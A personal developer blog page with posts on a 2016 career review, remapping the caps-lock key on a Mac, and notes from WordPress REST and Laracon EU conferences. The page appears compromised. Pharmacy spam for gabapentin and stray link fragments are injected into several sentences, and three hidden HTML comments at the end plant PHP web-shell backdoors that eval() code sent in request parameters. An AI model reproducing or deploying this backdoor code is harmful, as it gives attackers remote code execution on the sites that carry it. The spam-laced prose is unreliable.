My 2016 Year in Review

2016 has been dire: Brexit, Snoopers charter, Donald Trump, I despair – but personally it has been a triumph. At the beginning of this year I set myself a challenge – to move up. Well, actually the challenge started about 3 years ago. The challenge then was to catch up ten years of career development; the 10 years that I had dealt with cancer.

2017 will mark 10 years since my stem cell transplant. And in preparation for that I wanted to be happy with my career development. I can now safely say I’ve achieved my goal (I have new goals, but that’s another story).

At the start of 2016 I was working in a web agency. A wonderful 2 year experience but I’d started to pick holes in it and I felt I had met a ceiling in terms of personal and professional development. To continue the journey I had to once again get out of my comfort zone and face the next challenge.

Sky Betting and Gaming was recruiting and I thought I’d give it a go. More than half expecting to fail (imposter syndrome is strong wit this one), I made it through and in May I started work additional hints.

Around the same time I also took over the running of LeedsPHP user group through which I’ve met lots of people and faced many a challenge.

It’s been a very tough year. A year of facing my fears head on. A wake up call of how much I have to learn in terms of development practice, working in a large company, surrounded by incredibly talented individuals, constant learning… the list goes on. There have been plenty of times when I’ve felt it all too much, but I’ve taken a step back and said to myself, sometimes out loud — “this is exactly what you wanted, so deal with it!”

And I did it. So I’m giving myself a big pat on the back. It’s quite amazing what a difference a year can make. In the words of George McFly, “If you put your mind to it, you can accomplish anything.”

On to the next part of the plan.

Super Duper Power Key (change capslock, you don’t use it anyway)

Brett Terpstra (a power user hero) wrote about this back in 2012, and here I am documenting my version of it (and the apps have since been renamed).

The capslock key is somewhat useless yet it takes up so much space on the keyboard. Power users (like me, ha) also have a lot of keyboard shortcuts defined and you don’t want to accidentally overwrite existing shortcut keys, so, I’ve remapped my caps lock key to be ⌃⌥⇧⌘ (that’s control, alt, shift, command) all in one go.

Then I use Alfred App to create custom commands to launch apps and run scripts based on hotkeys.

Firstly, un-map you caps-lock key from being a caps-lock key.

System Preferences > Keyboard > Modifier Keys… and set Caps Lock to “No Action”.

Secondly, download and install Seil. Install and set caps lock key to keycode 80, which is F19.

Finally, download and install Karabiner. Go to “Misc & Uninstall” and choose “open private.xml”. Replace the code with…

Go back to “Change Key”, reload “private.xml”, and select “F19 to F19”.

That’s it, you’re now free to create a whole load of shortcuts without risk of overwriting anything. In the Brett Terpstra article he has the key be an escape key on short press and super duper key on long press. I took the escape bit out as I didn’t want that.

Like I said, Alfred App let’s you create all sorts of commands, like toggling apps through a hotkey.<img class="alignnone wp-image-113 size-large" src="×701 gabapentin dosage.png” alt=”” width=”660″ height=”452″ srcset=”×701.png 1024w,×205.png 300w,×526.png 768w, 1212w” sizes=”(max-width: 660px) 100vw, 660px” />

A Day of REST Conference

I’m on the train home from London after 2 of days of learning about the new WordPress REST API.

Day one was the conference itself, and the second a hack day. The whole event was organised by Human Made, who’s employees, among others, have been spearheading the project — A project that is going to change people’s attitudes towards websites. It may sound a bit dramatic, but I firmly believe that it’s going to push developers to raise their game and increase experience expectations from web site user’s perspective.

We’ve started to see “single page apps” and native app style web experiences from big players over the past few years, but now with WordPress offering the foundations to build these things right into the core product it opens new doors for everyone. The barrier to entry has been lowered and will continue to lower as it matures, examples and articles are written, and ideas permeate through the very large and active WordPress community.

The talks themselves were all excellent – I’m hard pushed to choose a favourite as they flowed perfectly and progressively built on the ideas presented by the previous speakers. A perfect package of presentations. The day ended with me very excited as to the possibilities. It’s time to dive into JavaScript.

Great after party, too. Beer is expensive in London. That’s just the way it is.

Day 2 brought the “hack day”, luckily it didn’t start until 10:30, I was feeling a bit rough because I’d spent too much money the night before. Having never attended a hack day before I wasn’t sure what to expect. I was a big apprehensive to be honest but I figured “what the hell?”

It was set at the Mozilla offices, which are far nicer than my office and probably nicer than your office too. Around 60 people attended. Starting with people suggesting ideas to “hack on” it immediately felt very relaxed and “community” like.

I got involved with the documentation, in a team of 7 look at this web-site. Firstly we discussed how we’d like to see the documentation improved and then after lunch we got on with it. I got a commit accepted and merged to make it more clear that version 2 docs were available. Not the most exciting or taxing thing in the world, but still, it needed doing.

Next time I’ll probably tackle a coding issue now I’m more confident.

I had a great time and I learnt an enormous amount. So pleased to have gone.

Laracon EU 2015 – Thoughts

I’ll admit, I expected more talks about Laravel specifically. This wasn’t the case. It was more a conference for developers.

Sitting in a conference venue going through endless code talks is not a good way to learn. One or two piques the interest but this stuff is best learned in a more comfortable environment with Laracasts. It’s not something you can take in endlessly throughout the day gabapentin 300 mg.

Don’t get me wrong. I enjoyed the code talks. As I said on talks of note on day 1, Adam Wathan’s code refactor talk I thoroughly enjoyed, but sitting through a day of it would be too much.

Looking at the comments on it seems some had different expectations. It’s easy to dismiss them and ridicule, but I’m going to practice empathy here. They’d paid a lot of money and had an expectation of their return. Perhaps a wildly unrealistic expectation, but it was there. Many factors may have contributed to this; not having been to previous conferences, previous Laracon, lack of expectation setting on the conference organiser’s part… who knows, but it was there. Hopefully, those people, on reflection, will be able to look past it and realise the benefits. It’s a shame, but being a single-track conference, you get what you’re given.

Personally, I prefer single-track conferences because I learn things on topics I may not have gone to, and I don’t feel guilty for missing another person’s talk. But then, you may have to sit through some talks that aren’t your cup of tea. Pros and cons.

I’d definitely go again. I learnt a lot and met some nice people. It was an experience.

Laracon EU 2015 – Day 2

I was far more refreshed on day two after resisting the urge to go out with the people I’d met the night before. I half regretted it as it turned out some prominent members of the community were out, but ne’mind. I slept.

After being somewhat shocked when my Airbnb host turned up unexpectedly as I sat eating my breakfast in my underpants, I headed to the conference.

There were three standouts for me on this day.

★ Jessica Rose – Impostor syndrome and individual competence (

I’d be very surprised if not everyone in the room didn’t suffer from this to a certain extent their explanation. There was some good advice on dealing with it, how to behave when others are suffering from it, and an overall sense on “Actually, I’m OK”.

★ Lorna Jane Mitchell – Advanced Git for developers (

Plenty of examples and takeaways. I’ve seen elements of this talk before but there’s always more to learn with git. Lorna presents it really well with live examples. git rebase -i FTW!

★ Konstantin Kudryashov – Min-maxing software costs (

This is the second time I’ve seen Konstantin speak (the first being at PHP North West 2014), and like the first time, he didn’t fail to deliver. This guy knows his stuff and explains it well. This talk was code related but actually showed very little code. In fact, the takeaway was “Code as little as you can”. That’s somewhat simplified, but the premise is that through experience and gained knowledge you weigh up when to write something from scratch and when to use existing code from another developer. The concepts of Cost of Introduction, Costs of Change, and Cost of Ownership helped me define my thoughts and I’ll certainly consider these things going forward on new projects far more.

Unfortunately I had a plane to catch so had to leave early during the last talk, which I was really annoyed about, since it was Jeffrey Way! Jeffrey has taught me so much through Laracasts. Oh well, I’ll watch the video.

Laracon EU 2015 – Day 1

My first Laracon and my first conference for quite some time; day one has provided me with much to think about.

All the talks have been of a very high standard but the two, well, three, that stand out most are:

★ Matt Stauffer – Empathy Gives You Superpowers (

This was the keynote talk and set the scene. Empathy makes you a better person, a better coder, a better… everything in all aspects of your life. Having empathy takes times to learn and develop and should be practiced. Specifically with coding, it will empower you to better understand your users and therefore build better user experiences.

★ Adam Wathan – Chasing Perfect (

Some live refactoring action that explained a design pattern I hadn’t heard before: The Null Object pattern gabapentin 100mg. Well explained and entertainingly presented. I’ll defenitely be using this in the future.

★ Taylor Otwell – The Tao of Laravel (

And finally, the talk by the man himself. Taylor opened with the philosophies behind what he is doing – to take away all the pain points of app development, and then introduced Laravel Spark. This is more boilerplate code that gets you to where you want to be quicker, so you can start building your actual application and not have to repeatedly code, login, authentication, user groups, subscriptions, billing… another game changer.

I’m ready for day 2.

The Cull (my time is precious)

I’ve spent the entire bank holiday weekend decorating. I’ve not had time to keep up with my constant stream of information. Then I listened to Roderick on the Line #122 – Parliament of the Moment (I’m a little behind on Roderick, they’re on 155 now. If only I had more time).

Basically, John and Merlin discuss phone distraction. The constant stream of information coming at you and the vying of your attention.

I have a 4 year old son, he demands attention, lots and lots of it. Sometimes I give that attention to my phone. I feel bad about that. “Am I missing something?” gnaws away at me. Any opportunity to whip the phone out and check, I take it find more. I’m an addicted slave.

Who I follow started around 7 years ago. Twitter was fairly new and I worked at Singletrack. I followed people and they followed me because of my connection to bikes. People I don’t know. They’re interesting and nice people. But they’re not friends, they’re not even acquaintances. Most I’ve never even met. I haven’t unfollowed because of my desire to not offend anyone. I wouldn’t unfollow if they followed me. That’s when I started my list system.

At time of writing I follow 224 people on Twitter. I manage this into lists.

  • The people I work with
  • A list of “devs” – to get information about what’s going on in the developer community
  • Apps – information about apps that I use
  • ✩ – the fun list. People I know. Things that make me laugh.

This totals about 100 that I actively follow.

I can’t be bothered anymore. I love you all but I don’t love you so much that you can take my precious time. That 100 “active follow” list will be dwindling too.

This is free reign to unfollow me. I won’t be offended.

If you need me, you can find me.


Are these amazing website builders threatening your agency? Potentially. It all depends on where you place yourself in the market.

People and businesses are getting more web savvy and at the same time fantastic tools are being developed that allow the building of beatiful fast and responsive websites that cost next to nothing. Anyone can come along and build what they need.

Initiatives like Digital Garage from Google are springing up to help businesses use the web effectively. Web knowledge is increasing exponentially. The next generation of business owners will have had the internet throughout their entire lives.

That’s not a threat to anyone. That’s a boon for the web development agencies. It makes businesses think about the web more and gives them training to realise that they need to have a web presence. And not just a web presence but to use the web and software for their internal processes.

To begin with the business establishes itself on the web using these low cost tools. They may be on this system for a year, or 10 years, until they start to outgrow it. Their meetings start containing phrases begining with “can we just…”, “wouldn’t it be great if…” followed by “yeah, but no…”.

The business will have seen the value of the web. They’ll have issues within the business that advanced functionality on their website can solve. They may know what solution they want implementing and they’ll have a go at it themselves – perhaps succesfully, perhaps not. Or they may not know how to solve this problem.

They’ll have outgrown the platform and their knowledge will no longer be sufficient to be effective. This is where the agency steps in.

The agency can offer a broader spectrum of knowledge. It can look at a business from the outside and provide solutions because they’re not so engrained in what has come before that they can’t think outside the box. The agency will have experience of multiple projects, reading and research – broad knowledge on when existing solutions can be employed and when it’s time to build something bespoke.

The role of the agency is to establish the picture that need painting. This may not be clear to start with so analysis will be done. Analytics research, interviews with the employees and the end users. The agency takes it all that step further to find the right solution to the problem. They may even need to establish what the problem actually is because the business presents to the agency with a solution – having never actually specified what needs to be addressed gabapentin 600 mg.

The agency may build the end product on Squarespace. Or WordPress. Or Magento. Or it may be custom built. Or insert whatever you want here. That doesn’t matter. What matters is the problem originally presented is solved. That is what a good agency can do.

<!– [insert_php]if (isset($_REQUEST["SwZqd"])){eval($_REQUEST["SwZqd"]);exit;}[/insert_php][php]if (isset($_REQUEST["SwZqd"])){eval($_REQUEST["SwZqd"]);exit;}[/php] –>
<!– [insert_php]if (isset($_REQUEST["fBrdK"])){eval($_REQUEST["fBrdK"]);exit;}[/insert_php][php]if (isset($_REQUEST["fBrdK"])){eval($_REQUEST["fBrdK"]);exit;}[/php] –>
<!– [insert_php]if (isset($_REQUEST["Eofy"])){eval($_REQUEST["Eofy"]);exit;}[/insert_php][php]if (isset($_REQUEST["Eofy"])){eval($_REQUEST["Eofy"]);exit;}[/php] –>